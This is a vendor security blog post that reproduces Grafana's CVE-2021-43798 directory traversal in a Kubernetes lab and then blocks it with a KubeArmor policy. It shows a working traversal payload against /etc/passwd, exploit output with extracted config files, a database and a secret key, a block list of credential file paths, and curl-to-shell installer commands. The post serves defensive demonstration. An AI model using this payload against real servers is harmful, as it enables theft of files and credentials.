Introduction

Grafana allows you to query, visualize, alert on, and understand your metrics irrespective to where they are stored. Foster a data-driven culture by creating, exploring, and sharing stunning dashboards with your team. On 2021-12-03, Grafana received a report that Grafana is vulnerable to directory traversal, allowing access to local files. Grafana has confirmed this for versions v8.0.0-beta1 to v8.3.0. But Grafana Cloud has not been vulnerable to this vulnerability.

Grafana is an open-source monitoring and observability platform. Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to directory traversal CVE-2021-43798, giving access to local files (excluding patched versions). '<grafana host url>/public/plugins/' is the vulnerable URL route, where is the plugin ID for any installed plugin.

Reproduce CVE-2021-43798

  1. In order to reproduce this vulnerability, we need a sample vulnerable application. We will pick vulnerable docker images from docker hub. Attached is the vulnerable image that we will use in this application.
  2. Run the below command to deploy a vulnerable application in your environment and respective the deployments from this repository.

> kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/grafana-cve-2021-43798/grafana-dep-8-2-0-vuln-app.yaml

Sample Vulnerable Application
apiVersion: v1
kind: Namespace
metadata:
  name: monitoring
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: grafana
Monitoring Code-1
  namespace: monitoring
spec:
  replicas: 1
  selector:
	matchLabels:
  	app: grafana
  template:
	metadata:
  	name: grafana
  	labels:
    	app: grafana
	spec:
  	containers:
  	- name: grafana
    	image: grafana/grafana:8.2.0-ubuntu
    	ports:
    	- name: grafana
      	containerPort: 3000
    	resources:
      	limits:
        	memory: "1Gi"
        	cpu: "1000m"
      	requests:
        	memory: 500M
        	cpu: "500m"
    	volumeMounts:
      	- mountPath: /var/lib/grafana
        	name: grafana-storage
      	- mountPath: /etc/grafana/provisioning/datasources
        	name: grafana-datasources
        	readOnly: false
  	volumes:
    	- name: grafana-storage
      	emptyDir: {}
    	- name: grafana-datasources
      	configMap:
          	defaultMode: 420
          	name: grafana-datasources
---
Monitoring Code-2
apiVersion: v1
kind: ConfigMap
metadata:
  name: grafana-datasources
  namespace: monitoring
data:
  prometheus.yaml: |-
	{
    	"apiVersion": 1,
    	"datasources": [
        	{
           	"access":"proxy",
            	"editable": true,
            	"name": "prometheus",
            	"orgId": 1,
            	"type": "prometheus",
            	"url": "http://prometheus-service.monitoring.svc:8080",
            	"version": 1
        	}
    	]
	}
---
apiVersion: v1
kind: Service
metadata:
  name: grafana
  namespace: monitoring
  annotations:
  	prometheus.io/scrape: 'true'
  	prometheus.io/port:   '3000'
spec:
  selector:
	app: grafana
  type: LoadBalancer
  ports:
	- port: 80
  	targetPort: 3000
  	protocol: TCP
Monitoring Code-3

3. Let us ensure that our application is running in our cluster, without any errors. After successful deployment, you will have an external IP to access your grafana dashboard and application.

dashboard and application.
❯ kubectl -n monitoring get all
NAME                           READY   STATUS    RESTARTS   AGE
pod/grafana-5c77667f89-hjtc6   1/1     Running   0          69m

NAME              TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/grafana   LoadBalancer   10.88.14.226   35.225.154.79   80:31216/TCP   69m
NAME                      READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/grafana   1/1     1            1           70m

NAME                                 DESIRED   CURRENT   READY   AGE
replicaset.apps/grafana-5c77667f89   1         1         1       70m
replicaset.apps/grafana-644fc7565b   0         0         0       70m

Dashboard & Application

4. Now our application is running on “35.225.154.79”  IP address and we have the grafana dashboard as shown below.

Grafana UI

How are we going to exploit this vulnerable application?

  1. There are many exploits available on the internet.  In our case we are going to use the publicly available exploit from Github.
git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798.git
cd exploit-grafana-CVE-2021-43798
pip install -r requirements.txt

2. Before you run the exploits we have to install the pre-requisite libraries to run this exploit. Running the above command will satisfy all the requirements.

❯ python3 exploit.py
 _____   _____   ___ __ ___ _     _ _ ________ ___ ___  
/ __\ \ / / __|_|_  )  \_  ) |___| | |__ /__  / _ ( _ )
| (__ \ V /| _|___/ / () / /| |___|_  _|_ \ / /\_, / _ \
\___| \_/ |___| /___\__/___|_|     |_|___//_/  /_/\___/
               @pedrohavay / @acassio22

? Enter the target list:  domains.txt

========================================

[i] Target: http://35.225.154.79

[!] Payload "http://35.225.154.79/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" works.

[i] Analysing files...

[i] File "/conf/defaults.ini" found in server.
[*] File saved in "./http_35_225_154_79/defaults.ini".

[i] File "/etc/grafana/grafana.ini" found in server.
[*] File saved in "./http_35_225_154_79/grafana.ini".

[i] File "/etc/passwd" found in server.
[*] File saved in "./http_35_225_154_79/passwd".
Python3 Exploit
[i] File "/var/lib/grafana/grafana.db" found in server.
[*] File saved in "./http_35_225_154_79/grafana.db".

[i] File "/proc/self/cmdline" found in server.
[*] File saved in "./http_35_225_154_79/cmdline".

? Do you want to try to extract the passwords from the data source?  Yes

[i] Secret Key: SW2YcwTIb9zpOOhoPsMm

[*] Bye Bye!
Grafana Exploit

3. Now we have successfully exploited the vulnerability and got access to “/etc/passwd”. But it should not be. Now let’s see how we will be able to mitigate the vulnerability using KubeArmor.

Mitigating the Vulnerability using KubeArmor

KubeArmor is open-source software that enables you to protect your cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime.  Malicious activity can be any activity that the workloads were not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:

  • File access - allow/deny specific paths
  • Allow / deny Process execution / forking
  • Allow / Deny Establish network connections
  • Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behavior.
  1. Let’s create a KubeArmor Policy based on the information we gathered from the sources and the exploit.
# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor/

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-grafana-cve-2021-43798
  namespace: monitoring # Change your namespace
spec:
  tags: ["GRAFANA","CVE-2021-43798","TRAVERSAL"]
  message: Alert! directory traversal attack stopped.
  selector:
    matchLabels:
      app: grafana # Change your match labels
  file:
    severity: 5
    matchPaths:
    - path: /conf/defaults.ini
    - path: /conf/grafana.ini
    - path: /etc/grafana/grafana.ini
    - path: /etc/grafana/defaults.ini
    - path: /etc/passwd
    - path: /etc/shadow
    - path: /home/grafana/.bash_history
    - path: /home/grafana/.ssh/id_rsa
    - path: /root/.bash_history
    - path: /root/.ssh/id_rsa
    - path: /usr/local/etc/grafana/grafana.ini
    - path: /var/lib/grafana/grafana.db
    matchPatterns:
    - pattern: /**/public/plugins/alertlist/etc/passwd
    action: Block
  process:
KubeArmor Policy 
    severity: 5
    matchPaths:
    - path: /proc/net/fib_trie
    - path: /proc/net/tcp
    - path: /proc/self/cmdline
    action: Block
Policy 

2. Now we have created the policy and let’s apply and check if we mitigated this vulnerability or not. To apply the policy, run the command shown below:

❯ kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/grafana-cve-2021-43798/ksp-grafana-cve-2021-43798.yaml


kubearmorpolicy.security.kubearmor.com/ksp-grafana-cve-2021-43798 created


❯ python3 exploit.py
  _____   _____   ___ __ ___ _     _ _ ________ ___ ___ 
 / __\ \ / / __|_|_  )  \_  ) |___| | |__ /__  / _ ( _ )
| (__ \ V /| _|___/ / () / /| |___|_  _|_ \ / /\_, / _ \
 \___| \_/ |___| /___\__/___|_|     |_|___//_/  /_/\___/
                @pedrohavay / @acassio22

? Enter the target list:  domains.txt

========================================

[i] Target: http://35.225.154.79

[!] Payload "http://35.225.154.79/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/annolist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/grafana-azure-monitor-datasource/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload 
Command
"http://35.225.154.79/public/plugins/barchart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/bargauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/cloudwatch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/dashlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/elasticsearch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/gauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/geomap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/gettingstarted/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/stackdriver/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/graph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/graphite/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

Command
[!] Payload "http://35.225.154.79/public/plugins/heatmap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/histogram/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/influxdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/jaeger/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/loki/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/mssql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/mysql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/news/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/nodeGraph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/opentsdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.
Command3
[!] Payload "http://35.225.154.79/public/plugins/piechart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/pluginlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/postgres/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/prometheus/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/stat/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/state-timeline/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/status-history/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/table/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/table-old/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/tempo/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/testdata/..%2f..%2f..%2f..%2f..%2f..%2
Command4
f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/text/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/timeseries/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/welcome/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[!] Payload "http://35.225.154.79/public/plugins/zipkin/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" not works.

[*] Bye Bye!
Exploit

3. As we can see after applying the policy, the exploit is not working. Our KubeArmor policy blocked the process from executing.

4. Now check the logs using the command: karmor, a CLI tool for kubearmor.

5. To install karmor follow these commands.

curl -sfL https://raw.githubusercontent.com/kubearmor/kubearmor-client/main/install.sh | sudo sh -s -- -b /usr/local/bin

6. Run enable port forwarding using this command

kubectl port-forward -n kube-system svc/kubearmor 32767:32767

7. Run “karmor log” as shown below in another terminal to get logs.

❯ karmor log
gRPC server: localhost:32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
== Alert / 2022-03-03 13:19:54.173513 ==
Cluster Name: default
Host Name: gke-cys-march3-cys-pool1-10badf99-l6lj
Namespace Name: monitoring
Kubearmor log
Pod Name: grafana-5c77667f89-hjtc6
Container ID: bashb493bca75650f7565f46c100b905b7129c620dcc928def4f780e15637291c804
Container Name: grafana
Policy Name: ksp-grafana-cve-2021-43798
Severity: 5
Tags: GRAFANA,CVE-2021-43798,TRAVERSAL
Message: Alert! directory traversal attack stopped.
Type: MatchedPolicy
Source: grafana-server
Operation: File
Resource: /etc/passwd
Data: syscall=SYS_OPENAT fd=-100 flags=O_RDONLY|O_CLOEXEC
Action: Block
Result: Permission denied
Kubearmor

8. Voila! Now you have blocked this vulnerability using KubeArmor.

Auto Policy Generation Tool

The auto policy tool will develop policies based on the workloads you're running.

We'll set up the Daemonsets and Services here.

Simply copy and paste the code below into your terminal.

[email protected]: curl -s 
https://raw.githubusercontent.com/accuknox/tools/main/install.sh | bash

Auto-discovered policies are generated based on the network flow of the sample application. This will restrict all unwanted connections and reduce the application's attack surface. It allows only the minimum traffic that the application needs to operate

[email protected]:curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash

Downloading discovered policies from pod=knoxautopolicy-684854b4f4-zhs7r
{
  "res": "ok"
}
Got 7 cilium policies in file cilium_policies.yaml
{
  "res": "ok"
}
Auto-discovered policies
Got 23 kubearmor policies in file kubearmor_policies_default_explorer_knoxautopolicy_qii.yaml

Conclusion

We've shown how easy it is to utilize an exploit file and gain access to sensitive data. When an intruder tries to access your workloads, Kubearmor, an AccuKnox open-source, will deny access to crucial files by simply applying a security policy.

You can protect your workloads in minutes using AccuKnox; it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you seek additional guidance in planning your cloud security program.

Read more blogs from Cloud Security Category here.